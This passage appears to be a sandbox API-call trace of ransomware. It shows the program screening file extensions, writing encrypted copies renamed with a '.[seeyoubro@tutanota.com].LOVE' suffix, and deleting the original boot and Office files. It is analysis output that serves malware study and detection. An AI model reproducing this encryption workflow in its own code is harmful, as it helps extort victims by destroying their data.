[0197.993] lstrcmpiW (lpString1=".rar", lpString2=".xsd") returned -1 [0197.993] lstrlenW (lpString=".bz2") returned 4 [0197.993] lstrcmpiW (lpString1=".bz2", lpString2=".xsd") returned -1 [0197.993] lstrlenW (lpString=".7z") returned 3 [0197.993] lstrcmpiW (lpString1=".7z", lpString2="xsd") returned -1 [0197.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0197.993] lstrlenW (lpString=".dbf") returned 4 [0197.993] lstrcmpiW (lpString1=".dbf", lpString2=".xsd") returned -1 [0197.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0197.994] lstrlenW (lpString=".1cd") returned 4 [0197.994] lstrcmpiW (lpString1=".1cd", lpString2=".xsd") returned -1 [0197.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0197.994] lstrlenW (lpString=".jpg") returned 4 [0197.994] lstrcmpiW (lpString1=".jpg", lpString2=".xsd") returned -1 [0197.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0197.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0197.994] lstrlenW (lpString=".doc") returned 4 [0197.994] lstrcmpiW (lpString1=".doc", lpString2=".xsd") returned -1 [0197.994] lstrlenW (lpString=".docx") returned 5 [0197.994] lstrcmpiW (lpString1=".docx", lpString2="i.xsd") returned -1 [0197.994] lstrlenW (lpString=".pdf") returned 4 [0197.994] lstrcmpiW (lpString1=".pdf", lpString2=".xsd") returned -1 [0197.994] lstrlenW (lpString=".xls") returned 4 [0197.994] lstrcmpiW (lpString1=".xls", lpString2=".xsd") returned -1 [0197.994] lstrlenW (lpString=".xlsx") returned 5 [0197.994] lstrcmpiW (lpString1=".xlsx", lpString2="i.xsd") returned -1 [0197.994] lstrlenW (lpString=".ppt") returned 4 [0197.994] lstrcmpiW (lpString1=".ppt", lpString2=".xsd") returned -1 [0197.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0197.994] lstrlenW (lpString=".zip") returned 4 [0197.994] lstrcmpiW (lpString1=".zip", lpString2=".xsd") returned 1 [0197.994] lstrlenW (lpString=".rar") returned 4 [0197.994] lstrcmpiW (lpString1=".rar", lpString2=".xsd") returned -1 [0197.994] lstrlenW (lpString=".bz2") returned 4 [0197.994] lstrcmpiW (lpString1=".bz2", lpString2=".xsd") returned -1 [0197.994] lstrlenW (lpString=".7z") returned 3 [0197.994] lstrcmpiW (lpString1=".7z", lpString2="xsd") returned -1 [0197.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0197.994] lstrlenW (lpString=".dbf") returned 4 [0197.995] lstrcmpiW (lpString1=".dbf", lpString2=".xsd") returned -1 [0197.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0197.995] lstrlenW (lpString=".1cd") returned 4 [0197.995] lstrcmpiW (lpString1=".1cd", lpString2=".xsd") returned -1 [0197.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0197.995] lstrlenW (lpString=".jpg") returned 4 [0197.995] lstrcmpiW (lpString1=".jpg", lpString2=".xsd") returned -1 [0197.995] lstrcmpiW (lpString1=".LOG", lpString2=".LOVE") returned -1 [0197.995] lstrlenW (lpString="BCD.LOG") returned 7 [0197.995] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0197.995] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0197.995] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0197.995] lstrlenW (lpString=".doc") returned 4 [0197.995] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0197.995] lstrlenW (lpString=".docx") returned 5 [0197.995] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0197.995] lstrlenW (lpString=".pdf") returned 4 [0197.995] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0197.995] lstrlenW (lpString=".xls") returned 4 [0197.995] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0197.995] lstrlenW (lpString=".xlsx") returned 5 [0197.995] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0197.995] lstrlenW (lpString=".ppt") returned 4 [0197.995] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0197.996] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0197.996] lstrlenW (lpString=".zip") returned 4 [0197.996] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0197.996] lstrlenW (lpString=".rar") returned 4 [0197.996] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0197.996] lstrlenW (lpString=".bz2") returned 4 [0197.996] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0197.996] lstrlenW (lpString=".7z") returned 3 [0197.996] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0197.996] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0197.996] lstrlenW (lpString=".dbf") returned 4 [0197.996] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0197.996] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0197.996] lstrlenW (lpString=".1cd") returned 4 [0197.996] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0197.996] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0197.996] lstrlenW (lpString=".jpg") returned 4 [0197.996] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0197.996] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0197.996] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0197.996] lstrlenW (lpString=".doc") returned 4 [0197.996] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0197.996] lstrlenW (lpString=".docx") returned 5 [0197.996] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0197.996] lstrlenW (lpString=".pdf") returned 4 [0197.996] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0197.996] lstrlenW (lpString=".xls") returned 4 [0197.996] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0197.996] lstrlenW (lpString=".xlsx") returned 5 [0197.996] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0197.996] lstrlenW (lpString=".ppt") returned 4 [0197.996] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0197.997] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0197.997] lstrlenW (lpString=".zip") returned 4 [0197.997] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0197.997] lstrlenW (lpString=".rar") returned 4 [0197.997] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0197.997] lstrlenW (lpString=".bz2") returned 4 [0197.997] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0197.997] lstrlenW (lpString=".7z") returned 3 [0197.997] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0197.997] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0197.997] lstrlenW (lpString=".dbf") returned 4 [0197.997] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0197.997] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0197.997] lstrlenW (lpString=".1cd") returned 4 [0197.997] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0197.997] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0197.997] lstrlenW (lpString=".jpg") returned 4 [0197.997] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0197.997] lstrcmpiW (lpString1=".DAT", lpString2=".LOVE") returned -1 [0197.997] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0197.997] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0198.045] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=65536) returned 1 [0198.045] CloseHandle (hObject=0x2ec) returned 1 [0198.045] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0198.045] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\boot\\bootstat.dat.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0198.048] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0198.048] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.048] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.048] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\boot\\bootstat.dat.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0198.049] GetLastError () returned 0x0 [0198.049] ReadFile (in: hFile=0x2ec, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x10000, lpOverlapped=0x0) returned 1 [0198.051] WriteFile (in: hFile=0x34c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x10010, lpOverlapped=0x0) returned 1 [0198.053] ReadFile (in: hFile=0x2ec, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0198.053] WriteFile (in: hFile=0x34c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0198.053] SetEndOfFile (hFile=0x34c) returned 1 [0198.053] CloseHandle (hObject=0x34c) returned 1 [0198.056] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.057] SetEndOfFile (hFile=0x2ec) returned 1 [0198.058] CloseHandle (hObject=0x2ec) returned 1 [0198.058] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x26) returned 1 [0198.058] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1 [0198.058] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0198.058] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0198.058] lstrlenW (lpString=".doc") returned 4 [0198.058] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0198.058] lstrlenW (lpString=".docx") returned 5 [0198.058] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0198.058] lstrlenW (lpString=".pdf") returned 4 [0198.058] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0198.058] lstrlenW (lpString=".xls") returned 4 [0198.058] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0198.058] lstrlenW (lpString=".xlsx") returned 5 [0198.058] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0198.058] lstrlenW (lpString=".ppt") returned 4 [0198.059] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0198.059] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0198.059] lstrlenW (lpString=".zip") returned 4 [0198.059] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0198.059] lstrlenW (lpString=".rar") returned 4 [0198.059] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0198.059] lstrlenW (lpString=".bz2") returned 4 [0198.059] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0198.059] lstrlenW (lpString=".7z") returned 3 [0198.059] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0198.059] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0198.059] lstrlenW (lpString=".dbf") returned 4 [0198.059] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0198.059] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0198.059] lstrlenW (lpString=".1cd") returned 4 [0198.059] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0198.059] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0198.059] lstrlenW (lpString=".jpg") returned 4 [0198.059] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0198.059] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0198.059] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0198.059] lstrlenW (lpString=".doc") returned 4 [0198.059] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0198.059] lstrlenW (lpString=".docx") returned 5 [0198.059] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1 [0198.059] lstrlenW (lpString=".pdf") returned 4 [0198.059] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0198.059] lstrlenW (lpString=".xls") returned 4 [0198.059] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0198.059] lstrlenW (lpString=".xlsx") returned 5 [0198.059] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1 [0198.059] lstrlenW (lpString=".ppt") returned 4 [0198.059] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0198.060] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0198.060] lstrlenW (lpString=".zip") returned 4 [0198.060] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0198.060] lstrlenW (lpString=".rar") returned 4 [0198.060] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0198.060] lstrlenW (lpString=".bz2") returned 4 [0198.060] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0198.060] lstrlenW (lpString=".7z") returned 3 [0198.060] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0198.060] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0198.060] lstrlenW (lpString=".dbf") returned 4 [0198.060] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0198.060] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0198.060] lstrlenW (lpString=".1cd") returned 4 [0198.060] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0198.060] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0198.060] lstrlenW (lpString=".jpg") returned 4 [0198.060] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0198.060] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0198.060] lstrlenW (lpString="OfficeUpdateSchedule.xml") returned 24 [0198.060] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0 [0198.072] GetFileSizeEx (in: hFile=0x2a0, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=4782) returned 1 [0198.072] CloseHandle (hObject=0x2a0) returned 1 [0198.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 0x20 [0198.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0198.073] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0198.073] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.073] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.073] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0198.158] GetLastError () returned 0x0 [0198.158] ReadFile (in: hFile=0x2ec, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x12ae, lpOverlapped=0x0) returned 1 [0198.313] WriteFile (in: hFile=0x320, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x12b0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x12b0, lpOverlapped=0x0) returned 1 [0198.314] ReadFile (in: hFile=0x2ec, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0198.314] WriteFile (in: hFile=0x320, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x104, lpOverlapped=0x0) returned 1 [0198.314] SetEndOfFile (hFile=0x320) returned 1 [0198.315] CloseHandle (hObject=0x320) returned 1 [0198.315] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0198.315] SetEndOfFile (hFile=0x2ec) returned 1 [0198.315] CloseHandle (hObject=0x2ec) returned 1 [0198.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0198.316] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 1 [0198.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0198.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0198.316] lstrlenW (lpString=".doc") returned 4 [0198.316] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0198.316] lstrlenW (lpString=".docx") returned 5 [0198.316] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0198.316] lstrlenW (lpString=".pdf") returned 4 [0198.316] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0198.316] lstrlenW (lpString=".xls") returned 4 [0198.316] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0198.316] lstrlenW (lpString=".xlsx") returned 5 [0198.316] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0198.316] lstrlenW (lpString=".ppt") returned 4 [0198.316] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0198.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0198.316] lstrlenW (lpString=".zip") returned 4 [0198.316] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0198.316] lstrlenW (lpString=".rar") returned 4 [0198.316] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0198.316] lstrlenW (lpString=".bz2") returned 4 [0198.317] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0198.317] lstrlenW (lpString=".7z") returned 3 [0198.317] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0198.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0198.317] lstrlenW (lpString=".dbf") returned 4 [0198.317] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0198.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0198.317] lstrlenW (lpString=".1cd") returned 4 [0198.317] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0198.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0198.317] lstrlenW (lpString=".jpg") returned 4 [0198.317] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0198.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0198.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0198.317] lstrlenW (lpString=".doc") returned 4 [0198.317] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0198.317] lstrlenW (lpString=".docx") returned 5 [0198.317] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0198.317] lstrlenW (lpString=".pdf") returned 4 [0198.317] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0198.317] lstrlenW (lpString=".xls") returned 4 [0198.317] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0198.317] lstrlenW (lpString=".xlsx") returned 5 [0198.317] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0198.317] lstrlenW (lpString=".ppt") returned 4 [0198.317] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0198.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0198.317] lstrlenW (lpString=".zip") returned 4 [0198.317] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0198.317] lstrlenW (lpString=".rar") returned 4 [0198.317] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0198.317] lstrlenW (lpString=".bz2") returned 4 [0198.317] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0198.317] lstrlenW (lpString=".7z") returned 3 [0198.317] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0198.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0198.318] lstrlenW (lpString=".dbf") returned 4 [0198.318] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0198.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0198.318] lstrlenW (lpString=".1cd") returned 4 [0198.318] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0198.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0198.318] lstrlenW (lpString=".jpg") returned 4 [0198.318] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0198.318] lstrcmpiW (lpString1=".avi", lpString2=".LOVE") returned -1 [0198.318] lstrlenW (lpString="boxed-correct.avi") returned 17 [0198.318] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0198.433] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=111320) returned 1 [0198.433] CloseHandle (hObject=0x318) returned 1 [0198.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0198.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0198.434] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0198.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0198.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0198.434] lstrlenW (lpString=".doc") returned 4 [0198.434] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0198.434] lstrlenW (lpString=".docx") returned 5 [0198.434] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0198.434] lstrlenW (lpString=".pdf") returned 4 [0198.434] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0198.434] lstrlenW (lpString=".xls") returned 4 [0198.434] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0198.434] lstrlenW (lpString=".xlsx") returned 5 [0198.434] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0198.434] lstrlenW (lpString=".ppt") returned 4 [0198.434] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0198.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0198.434] lstrlenW (lpString=".zip") returned 4 [0198.434] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0198.434] lstrlenW (lpString=".rar") returned 4 [0198.434] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0198.434] lstrlenW (lpString=".bz2") returned 4 [0198.434] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0198.434] lstrlenW (lpString=".7z") returned 3 